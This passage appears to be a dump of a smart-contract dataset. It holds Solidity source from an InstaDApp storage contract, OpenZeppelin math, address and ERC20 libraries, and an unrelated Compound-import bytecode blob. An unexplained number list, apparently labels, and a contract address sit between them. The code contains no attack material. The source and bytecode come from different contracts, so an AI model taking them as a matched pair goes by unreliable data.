^0.7.0; import { MemoryInterface, InstaMapping } from "./interfaces.sol"; abstract contract Stores { /** * @dev Return ethereum address */ address constant internal ethAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @dev Return Wrapped ETH address */ address constant internal wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /** * @dev Return memory variable address */ MemoryInterface constant internal instaMemory = MemoryInterface(0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F); /** * @dev Return InstaDApp Mapping Addresses */ InstaMapping constant internal instaMapping = InstaMapping(0xe81F70Cc7C0D46e12d70efc60607F16bbD617E88); /** * @dev Get Uint value from InstaMemory Contract. */ function getUint(uint getId, uint val) internal returns (uint returnVal) { returnVal = getId == 0 ? val : instaMemory.getUint(getId); } /** * @dev Set Uint value in InstaMemory Contract. */ function setUint(uint setId, uint val) virtual internal { if (setId != 0) instaMemory.setUint(setId, val); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
0x6080604052600436106100295760003560e01c806304abf62e1461002e57806306fdde031461005f575b600080fd5b61004860048036038101906100439190611221565b61008a565b60405161005692919061190e565b60405180910390f35b34801561006b57600080fd5b50610074610ac8565b60405161008191906118ec565b60405180910390f35b6060803073ffffffffffffffffffffffffffffffffffffffff16632520e7ff886040518263ffffffff1660e01b81526004016100c691906117a3565b60206040518083038186803b1580156100de57600080fd5b505afa1580156100f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011691906112eb565b610155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161014c90611985565b60405180910390fd5b6000868690501161019b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161019290611965565b60405180910390fd5b6101a3611095565b60006101b58888905087879050610b01565b90508067ffffffffffffffff811180156101ce57600080fd5b506040519080825280602002602001820160405280156101fd5781602001602082028036833780820191505090505b5082604001819052508787905067ffffffffffffffff8111801561022057600080fd5b5060405190808252806020026020018201604052801561024f5781602001602082028036833780820191505090505b5082600001819052508787905067ffffffffffffffff8111801561027257600080fd5b506040519080825280602002602001820160405280156102a15781602001602082028036833780820191505090505b5082606001819052506000868690501115610728578585905067ffffffffffffffff811180156102d057600080fd5b506040519080825280602002602001820160405280156102ff5781602001602082028036833780820191505090505b5082602001819052508585905067ffffffffffffffff8111801561032257600080fd5b506040519080825280602002602001820160405280156103515781602001602082028036833780820191505090505b50826080018190525060005b868690508110156107265760008073a8f9d4aa7319c54c04404765117ddbf9448e208273ffffffffffffffffffffffffffffffffffffffff166311f45e9c8a8a868181106103a757fe5b90506020028101906103b99190611a40565b6040518363ffffffff1660e01b81526004016103d69291906118c8565b604080518083038186803b1580156103ed57600080fd5b505afa158015610401573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042591906111e5565b91509150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156104935750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b6104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906119a5565b60405180910390fd5b80856040015184815181106104e357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808560800151848151811061052e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508460800151838151811061057857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff166317bfdfbc8d6040518263ffffffff1660e01b81526004016105b891906117a3565b602060405180830381600087803b1580156105d257600080fd5b505af11580156105e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060a9190611314565b8560200151848151811061061a57fe5b60200260200101818152505073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561068d575060008560200151848151811061068357fe5b6020026020010151115b15610717578173ffffffffffffffffffffffffffffffffffffffff1663095ea7b382876020015186815181106106bf57fe5b60200260200101516040518363ffffffff1660e01b81526004016106e492919061187d565b600060405180830381600087803b1580156106fe57600080fd5b505af1158015610712573d6000803e3d6000fd5b505050505b5050808060010191505061035d565b505b60005b88889050811015610a135760008073a8f9d4aa7319c54c04404765117ddbf9448e208273ffffffffffffffffffffffffffffffffffffffff166311f45e9c8c8c8681811061077557fe5b90506020028101906107879190611a40565b6040518363ffffffff1660e01b81526004016107a49291906118c8565b604080518083038186803b1580156107bb57600080fd5b505afa1580156107cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f391906111e5565b91509150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156108615750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b6108a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610897906119a5565b60405180910390fd5b60006108af848b8b9050610b01565b905081866040015182815181106108c257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050818660600151858151811061090d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508560600151848151811061095757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff166370a082318e6040518263ffffffff1660e01b815260040161099791906117a3565b60206040518083038186803b1580156109af57600080fd5b505afa1580156109c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e79190611314565b866000015185815181106109f757fe5b602002602001018181525050505050808060010191505061072b565b50610a218260400151610b15565b610a378260800151836020015188889050610bbd565b610a4e898360800151846020015189899050610ceb565b610a6589836060015184600001518b8b9050610f10565b6040518060800160405280604a8152602001611d07604a913993508882604001518989898987600001518860200151604051602001610aab9897969594939291906117f5565b604051602081830303815290604052925050509550959350505050565b6040518060400160405280601581526020017f56322d436f6d706f756e642d496d706f72742d7631000000000000000000000081525081565b6000610b0d8383611040565b905092915050565b733d9819210a31b4961b30ef54be2aed79b9c9cd3b73ffffffffffffffffffffffffffffffffffffffff1663c2998238826040518263ffffffff1660e01b8152600401610b6291906118a6565b600060405180830381600087803b158015610b7c57600080fd5b505af1158015610b90573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610bb991906112aa565b5050565b60005b81811015610ce5576000838281518110610bd657fe5b60200260200101511115610cd8576000848281518110610bf257fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1663c5ebeaec858481518110610c2157fe5b60200260200101516040518263ffffffff1660e01b8152600401610c459190611a25565b602060405180830381600087803b158015610c5f57600080fd5b505af1158015610c73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c979190611314565b14610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce906119e5565b60405180910390fd5b5b8080600101915050610bc0565b50505050565b60005b81811015610f09576000838281518110610d0457fe5b60200260200101511115610efc57734ddc2d193948926d02f9b1fe9e1daa0718270ed573ffffffffffffffffffffffffffffffffffffffff16848281518110610d4957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415610e0557734ddc2d193948926d02f9b1fe9e1daa0718270ed573ffffffffffffffffffffffffffffffffffffffff1663e5974619848381518110610da957fe5b6020026020010151876040518363ffffffff1660e01b8152600401610dce91906117a3565b6000604051808303818588803b158015610de757600080fd5b505af1158015610dfb573d6000803e3d6000fd5b5050505050610efb565b6000848281518110610e1357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16632608f81887868581518110610e4357fe5b60200260200101516040518363ffffffff1660e01b8152600401610e6892919061187d565b602060405180830381600087803b158015610e8257600080fd5b505af1158015610e96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eba9190611314565b14610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef1906119c5565b60405180910390fd5b5b5b8080600101915050610cee565b5050505050565b60005b81811015611039576000838281518110610f2957fe5b6020026020010151111561102c57838181518110610f4357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff166323b872dd8630868581518110610f7457fe5b60200260200101516040518463ffffffff1660e01b8152600401610f9a939291906117be565b602060405180830381600087803b158015610fb457600080fd5b505af1158015610fc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fec91906112eb565b61102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102290611a05565b60405180910390fd5b5b8080600101915050610f13565b5050505050565b60008082840190508381101561108b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108290611945565b60405180910390fd5b8091505092915050565b6040518060a0016040528060608152602001606081526020016060815260200160608152602001606081525090565b6000813590506110d381611cc1565b92915050565b6000815190506110e881611cc1565b92915050565b60008083601f84011261110057600080fd5b8235905067ffffffffffffffff81111561111957600080fd5b60208301915083602082028301111561113157600080fd5b9250929050565b600082601f83011261114957600080fd5b815161115c61115782611ac4565b611a97565b9150818183526020840193506020810190508385602084028201111561118157600080fd5b60005b838110156111b1578161119788826111d0565b845260208401935060208301925050600181019050611184565b5050505092915050565b6000815190506111ca81611cd8565b92915050565b6000815190506111df81611cef565b92915050565b600080604083850312156111f857600080fd5b6000611206858286016110d9565b9250506020611217858286016110d9565b9150509250929050565b60008060008060006060868803121561123957600080fd5b6000611247888289016110c4565b955050602086013567ffffffffffffffff81111561126457600080fd5b611270888289016110ee565b9450945050604086013567ffffffffffffffff81111561128f57600080fd5b61129b888289016110ee565b92509250509295509295909350565b6000602082840312156112bc57600080fd5b600082015167ffffffffffffffff8111156112d657600080fd5b6112e284828501611138565b91505092915050565b6000602082840312156112fd57600080fd5b600061130b848285016111bb565b91505092915050565b60006020828403121561132657600080fd5b6000611334848285016111d0565b91505092915050565b60006113498383611383565b60208301905092915050565b600061136284848461150c565b90509392505050565b60006113778383611785565b60208301905092915050565b61138c81611c26565b82525050565b61139b81611c26565b82525050565b60006113ac82611b16565b6113b68185611b69565b93506113c183611aec565b8060005b838110156113f25781516113d9888261133d565b97506113e483611b42565b9250506001810190506113c5565b5085935050505092915050565b600061140b8385611b7a565b93508360208402850161141d84611afc565b8060005b878110156114635784840389526114388284611bcf565b611443868284611355565b955061144e84611b4f565b935060208b019a505050600181019050611421565b50829750879450505050509392505050565b600061148082611b21565b61148a8185611b8b565b935061149583611b06565b8060005b838110156114c65781516114ad888261136b565b97506114b883611b5c565b925050600181019050611499565b5085935050505092915050565b60006114de82611b2c565b6114e88185611b9c565b93506114f8818560208601611c7d565b61150181611cb0565b840191505092915050565b60006115188385611bad565b9350611525838584611c6e565b61152e83611cb0565b840190509392505050565b60006115458385611bbe565b9350611552838584611c6e565b61155b83611cb0565b840190509392505050565b600061157182611b37565b61157b8185611bbe565b935061158b818560208601611c7d565b61159481611cb0565b840191505092915050565b60006115ac601b83611bbe565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006115ec601483611bbe565b91507f302d6c656e6774682d6e6f742d616c6c6f7765640000000000000000000000006000830152602082019050919050565b600061162c601583611bbe565b91507f757365722d6163636f756e742d6e6f742d6175746800000000000000000000006000830152602082019050919050565b600061166c601883611bbe565b91507f63746f6b656e206d617070696e67206e6f7420666f756e6400000000000000006000830152602082019050919050565b60006116ac601483611bbe565b91507f72657061794f6e426568616c662d6661696c65640000000000000000000000006000830152602082019050919050565b60006116ec601983611bbe565b91507f626f72726f772d6661696c65642d636f6c6c61746572616c3f000000000000006000830152602082019050919050565b600061172c602183611bbe565b91507f63746f6b656e2d7472616e736665722d6661696c65642d616c6c6f77616e636560008301527f3f000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61178e81611c64565b82525050565b61179d81611c64565b82525050565b60006020820190506117b86000830184611392565b92915050565b60006060820190506117d36000830186611392565b6117e06020830185611392565b6117ed6040830184611794565b949350505050565b600060c08201905061180a600083018b611392565b818103602083015261181c818a6113a1565b9050818103604083015261183181888a6113ff565b905081810360608301526118468186886113ff565b9050818103608083015261185a8185611475565b905081810360a083015261186e8184611475565b90509998505050505050505050565b60006040820190506118926000830185611392565b61189f6020830184611794565b9392505050565b600060208201905081810360008301526118c081846113a1565b905092915050565b600060208201905081810360008301526118e3818486611539565b90509392505050565b600060208201905081810360008301526119068184611566565b905092915050565b600060408201905081810360008301526119288185611566565b9050818103602083015261193c81846114d3565b90509392505050565b6000602082019050818103600083015261195e8161159f565b9050919050565b6000602082019050818103600083015261197e816115df565b9050919050565b6000602082019050818103600083015261199e8161161f565b9050919050565b600060208201905081810360008301526119be8161165f565b9050919050565b600060208201905081810360008301526119de8161169f565b9050919050565b600060208201905081810360008301526119fe816116df565b9050919050565b60006020820190508181036000830152611a1e8161171f565b9050919050565b6000602082019050611a3a6000830184611794565b92915050565b60008083356001602003843603038112611a5957600080fd5b80840192508235915067ffffffffffffffff821115611a7757600080fd5b602083019250600182023603831315611a8f57600080fd5b509250929050565b6000604051905081810181811067ffffffffffffffff82111715611aba57600080fd5b8060405250919050565b600067ffffffffffffffff821115611adb57600080fd5b602082029050602081019050919050565b6000819050602082019050919050565b6000819050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60008083356001602003843603038112611be857600080fd5b83810192508235915060208301925067ffffffffffffffff821115611c0c57600080fd5b600182023603841315611c1e57600080fd5b509250929050565b6000611c3182611c44565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015611c9b578082015181840152602081019050611c80565b83811115611caa576000848401525b50505050565b6000601f19601f8301169050919050565b611cca81611c26565b8114611cd557600080fd5b50565b611ce181611c38565b8114611cec57600080fd5b50565b611cf881611c64565b8114611d0357600080fd5b5056fe4c6f67436f6d706f756e64496d706f727428616464726573732c616464726573735b5d2c737472696e675b5d2c737472696e675b5d2c75696e743235365b5d2c75696e743235365b5d29a26469706673582212205c24b88cb86c476f8cdcf9506194c6cf9d93cf3c362eb6a6ed6ac9c9433841b864736f6c63430007000033
[ 12, 17, 5, 37 ]
0xf212b3f55009542eab70f02888c2fb0fd2d2876a
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\@openzeppelin\contracts\math\SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts\utils\Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it 